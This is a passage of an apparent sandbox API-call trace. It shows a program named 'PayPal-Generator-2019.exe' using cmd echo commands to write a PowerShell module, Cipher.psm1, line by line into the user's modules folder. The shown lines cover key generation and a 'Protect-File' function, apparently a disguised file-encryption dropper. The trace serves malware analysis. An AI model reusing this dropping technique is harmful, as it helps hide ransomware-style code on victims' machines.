(_FileHandle=1) returned 0x3c [0048.981] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.981] GetFileType (hFile=0x3c) returned 0x2 [0048.981] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.981] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ee2c | out: lpMode=0xe2ee2c) returned 1 [0048.983] _dup (_FileHandle=1) returned 3 [0048.983] _close (_FileHandle=1) returned 0 [0048.983] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.983] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ee0c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.983] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.983] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.983] GetFileType (hFile=0x3c) returned 0x1 [0048.983] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2f4 [0048.983] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2ee24*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2ee24*=0) returned 0x2f3 [0048.983] ReadFile (in: hFile=0x3c, lpBuffer=0xe2ee28, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ee18, lpOverlapped=0x0 | out: lpBuffer=0xe2ee28*, lpNumberOfBytesRead=0xe2ee18*=0x1, lpOverlapped=0x0) returned 1 [0048.983] GetConsoleTitleW (in: lpConsoleTitle=0xe2ec28, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.985] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.985] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.985] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.985] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.985] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.985] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.985] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.985] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.986] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.986] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.986] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2ebe4 | out: _Buffer=" if($AsPlainText) { \r\n") returned 45 [0048.986] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.986] GetFileType (hFile=0x3c) returned 0x1 [0048.986] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($AsPlainText) { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($AsPlainText) { \r\n", lpUsedDefaultChar=0x0) returned 46 [0048.986] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xe2ebd4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ebd4*=0x2d, lpOverlapped=0x0) returned 1 [0048.986] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.988] _close (_FileHandle=3) returned 0 [0048.988] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.988] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.988] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.988] GetFileType (hFile=0x3c) returned 0x2 [0048.988] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.989] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2edcc | out: lpMode=0xe2edcc) returned 1 [0048.990] _dup (_FileHandle=1) returned 3 [0048.990] _close (_FileHandle=1) returned 0 [0048.990] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.990] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2edac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.990] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.990] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.990] GetFileType (hFile=0x3c) returned 0x1 [0048.990] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x321 [0048.990] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2edc4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2edc4*=0) returned 0x320 [0048.990] ReadFile (in: hFile=0x3c, lpBuffer=0xe2edc8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2edb8, lpOverlapped=0x0 | out: lpBuffer=0xe2edc8*, lpNumberOfBytesRead=0xe2edb8*=0x1, lpOverlapped=0x0) returned 1 [0048.990] GetConsoleTitleW (in: lpConsoleTitle=0xe2ebc8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.000] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.000] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.000] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.000] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.000] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.000] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.000] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.000] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.000] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.000] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.000] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2eb84 | out: _Buffer=" return [System.Convert]::ToBase64String($Crypto.Key) } \r\n") returned 74 [0049.001] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.001] GetFileType (hFile=0x3c) returned 0x1 [0049.001] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" return [System.Convert]::ToBase64String($Crypto.Key) } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" return [System.Convert]::ToBase64String($Crypto.Key) } \r\n", lpUsedDefaultChar=0x0) returned 75 [0049.001] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe2eb74, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2eb74*=0x4a, lpOverlapped=0x0) returned 1 [0049.001] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.001] _close (_FileHandle=3) returned 0 [0049.001] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.002] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.002] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.002] GetFileType (hFile=0x3c) returned 0x2 [0049.002] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.002] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ed6c | out: lpMode=0xe2ed6c) returned 1 [0049.024] _dup (_FileHandle=1) returned 3 [0049.024] _close (_FileHandle=1) returned 0 [0049.024] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.024] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ed4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.025] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.025] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.025] GetFileType (hFile=0x3c) returned 0x1 [0049.025] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x36b [0049.025] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2ed64*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2ed64*=0) returned 0x36a [0049.025] ReadFile (in: hFile=0x3c, lpBuffer=0xe2ed68, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ed58, lpOverlapped=0x0 | out: lpBuffer=0xe2ed68*, lpNumberOfBytesRead=0xe2ed58*=0x1, lpOverlapped=0x0) returned 1 [0049.025] GetConsoleTitleW (in: lpConsoleTitle=0xe2eb68, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.029] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.029] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.029] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.029] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.029] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.029] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.029] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.029] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.029] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.029] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.030] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2eb24 | out: _Buffer=" else { \r\n") returned 33 [0049.030] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.030] GetFileType (hFile=0x3c) returned 0x1 [0049.030] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" else { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" else { \r\n", lpUsedDefaultChar=0x0) returned 34 [0049.030] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0xe2eb14, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2eb14*=0x21, lpOverlapped=0x0) returned 1 [0049.030] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.030] _close (_FileHandle=3) returned 0 [0049.031] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.031] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.031] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.031] GetFileType (hFile=0x3c) returned 0x2 [0049.031] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.031] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ed0c | out: lpMode=0xe2ed0c) returned 1 [0049.045] _dup (_FileHandle=1) returned 3 [0049.045] _close (_FileHandle=1) returned 0 [0049.045] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.045] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ecec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.045] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.045] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.045] GetFileType (hFile=0x3c) returned 0x1 [0049.045] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x38c [0049.045] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2ed04*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2ed04*=0) returned 0x38b [0049.045] ReadFile (in: hFile=0x3c, lpBuffer=0xe2ed08, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ecf8, lpOverlapped=0x0 | out: lpBuffer=0xe2ed08*, lpNumberOfBytesRead=0xe2ecf8*=0x1, lpOverlapped=0x0) returned 1 [0049.045] GetConsoleTitleW (in: lpConsoleTitle=0xe2eb08, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.061] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.061] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.061] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.061] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.061] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.061] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.061] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.061] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.061] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.061] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.061] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2eac4 | out: _Buffer=" return [System.Convert]::ToBase64String($Crypto.Key) | ConvertTo-SecureString -AsPlainText -Force } } \r\n") returned 139 [0049.061] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.061] GetFileType (hFile=0x3c) returned 0x1 [0049.062] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" return [System.Convert]::ToBase64String($Crypto.Key) | ConvertTo-SecureString -AsPlainText -Force } } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" return [System.Convert]::ToBase64String($Crypto.Key) | ConvertTo-SecureString -AsPlainText -Force } } \r\n", lpUsedDefaultChar=0x0) returned 140 [0049.062] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x8b, lpNumberOfBytesWritten=0xe2eab4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2eab4*=0x8b, lpOverlapped=0x0) returned 1 [0049.062] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.062] _close (_FileHandle=3) returned 0 [0049.062] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.062] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.062] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.062] GetFileType (hFile=0x3c) returned 0x2 [0049.063] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.063] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ecac | out: lpMode=0xe2ecac) returned 1 [0049.071] _dup (_FileHandle=1) returned 3 [0049.071] _close (_FileHandle=1) returned 0 [0049.071] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.071] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ec8c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.071] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.071] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.071] GetFileType (hFile=0x3c) returned 0x1 [0049.071] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x417 [0049.071] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2eca4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2eca4*=0) returned 0x416 [0049.071] ReadFile (in: hFile=0x3c, lpBuffer=0xe2eca8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ec98, lpOverlapped=0x0 | out: lpBuffer=0xe2eca8*, lpNumberOfBytesRead=0xe2ec98*=0x1, lpOverlapped=0x0) returned 1 [0049.071] GetConsoleTitleW (in: lpConsoleTitle=0xe2eaa8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.072] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.072] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.072] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.072] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.072] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.072] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.072] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.072] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.072] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.073] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.073] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2ea64 | out: _Buffer=" catch { Write-Error $_ } } } \r\n") returned 66 [0049.073] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.073] GetFileType (hFile=0x3c) returned 0x1 [0049.073] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" catch { Write-Error $_ } } } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" catch { Write-Error $_ } } } \r\n", lpUsedDefaultChar=0x0) returned 67 [0049.073] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe2ea54, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ea54*=0x42, lpOverlapped=0x0) returned 1 [0049.073] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.074] _close (_FileHandle=3) returned 0 [0049.074] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.074] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.074] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.074] GetFileType (hFile=0x3c) returned 0x2 [0049.074] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.074] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ec4c | out: lpMode=0xe2ec4c) returned 1 [0049.088] _dup (_FileHandle=1) returned 3 [0049.088] _close (_FileHandle=1) returned 0 [0049.088] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.088] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ec2c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.088] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.088] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.088] GetFileType (hFile=0x3c) returned 0x1 [0049.088] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x459 [0049.088] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2ec44*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2ec44*=0) returned 0x458 [0049.088] ReadFile (in: hFile=0x3c, lpBuffer=0xe2ec48, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ec38, lpOverlapped=0x0 | out: lpBuffer=0xe2ec48*, lpNumberOfBytesRead=0xe2ec38*=0x1, lpOverlapped=0x0) returned 1 [0049.088] GetConsoleTitleW (in: lpConsoleTitle=0xe2ea48, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.102] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.102] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.102] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.102] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.102] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.102] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.103] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.103] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.103] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.103] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.103] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2ea04 | out: _Buffer="Function Protect-File { \r\n") returned 28 [0049.103] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.103] GetFileType (hFile=0x3c) returned 0x1 [0049.103] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Function Protect-File { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Function Protect-File { \r\n", lpUsedDefaultChar=0x0) returned 29 [0049.103] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0xe2e9f4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e9f4*=0x1c, lpOverlapped=0x0) returned 1 [0049.103] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.104] _close (_FileHandle=3) returned 0 [0049.104] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.104] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.104] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.104] GetFileType (hFile=0x3c) returned 0x2 [0049.104] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.104] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ebec | out: lpMode=0xe2ebec) returned 1 [0049.109] _dup (_FileHandle=1) returned 3 [0049.109] _close (_FileHandle=1) returned 0 [0049.109] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.109] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ebcc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.110] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.110] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.110] GetFileType (hFile=0x3c) returned 0x1 [0049.110] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x475 [0049.110] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2ebe4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2ebe4*=0) returned 0x474 [0049.110] ReadFile (in: hFile=0x3c, lpBuffer=0xe2ebe8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ebd8, lpOverlapped=0x0 | out: lpBuffer=0xe2ebe8*, lpNumberOfBytesRead=0xe2ebd8*=0x1, lpOverlapped=0x0) returned 1 [0049.110] GetConsoleTitleW (in: lpConsoleTitle=0xe2e9e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.117] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.117] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.117] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.117] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.117] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.117] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.117] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.117] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.117] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.117] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.118] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2e9a4 | out: _Buffer="[CmdletBinding(DefaultParameterSetName='SecureString')] \r\n") returned 59 [0049.118] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.118] GetFileType (hFile=0x3c) returned 0x1 [0049.118] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[CmdletBinding(DefaultParameterSetName='SecureString')] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[CmdletBinding(DefaultParameterSetName='SecureString')] \r\n", lpUsedDefaultChar=0x0) returned 60 [0049.118] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xe2e994, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2e994*=0x3b, lpOverlapped=0x0) returned 1 [0049.118] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.119] _close (_FileHandle=3) returned 0 [0049.119] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.119] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.119] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.119] GetFileType (hFile=0x3c) returned 0x2 [0049.119] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.119] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2eb8c | out: lpMode=0xe2eb8c) returned 1 [0049.125] _dup (_FileHandle=1) returned 3 [0049.125] _close (_FileHandle=1) returned 0 [0049.125] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.125] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2eb6c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.125] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.125] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.125] GetFileType (hFile=0x3c) returned 0x1 [0049.125] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4b0 [0049.125] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2eb84*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2eb84*=0) returned 0x4af [0049.125] ReadFile (in: hFile=0x3c, lpBuffer=0xe2eb88, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2eb78, lpOverlapped=0x0 | out: lpBuffer=0xe2eb88*, lpNumberOfBytesRead=0xe2eb78*=0x1, lpOverlapped=0x0) returned 1 [0049.125] GetConsoleTitleW (in: lpConsoleTitle=0xe2e988, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.131] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.131] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.131] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.131] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.131] _wcsicmp (_String1="echo", _String2="COPY") returned 2 